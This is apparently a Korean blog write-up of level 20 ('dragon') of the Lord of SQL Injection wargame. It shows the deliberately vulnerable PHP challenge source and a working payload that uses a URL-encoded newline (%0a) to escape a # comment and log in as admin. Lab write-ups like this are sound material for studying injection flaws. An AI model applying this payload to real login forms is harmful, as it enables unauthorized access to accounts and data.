Oh! JUN
[Lord Of SQL Injection] 20번(%0a : 줄 바꾸기) 본문
query : select id from prob_dragon where id='guest'# and pw=''
Hello guest
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
guest 뒤에 # 주석처리 되어있어서 pw에 어떤 쿼리를 넣어도 주석처리가 될것이다.
그래서 줄 바꾸기 처리를 해줘서 주석을 무효화 시킬것이다.
select id from prob_dragon where id='guest'# and pw='%0a and pw='' or id='admin'
select id from prob_dragon where id='guest'# and pw='
and pw='' or id='admin'
*\n을 URL인코딩 시키면 %0a임
고의적으로 줄바꿈 시키므로서 주석부분을 탈출하고 새로 쿼리를 작성할 수 있다.
query : select id from prob_dragon where id='guest'# and pw=' and pw='' or id='admin'
Hello admin
DRAGON Clear!
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
'문제풀이 > Lord of SQL Injection' 카테고리의 다른 글
[Lord Of SQL Injection] 22번(error blind sql) (0) | 2022.02.13 |
---|---|
[Lord Of SQL Injection] 21번(error blind sql) (0) | 2022.02.12 |
[Lord Of SQL Injection] 19번(추가해결방법) (0) | 2022.02.09 |
[Lord Of SQL Injection] 19번(어렵다★★★) (0) | 2022.02.08 |
[Lord Of SQL Injection] 18번(('1')==0?) ;00% (0) | 2022.02.06 |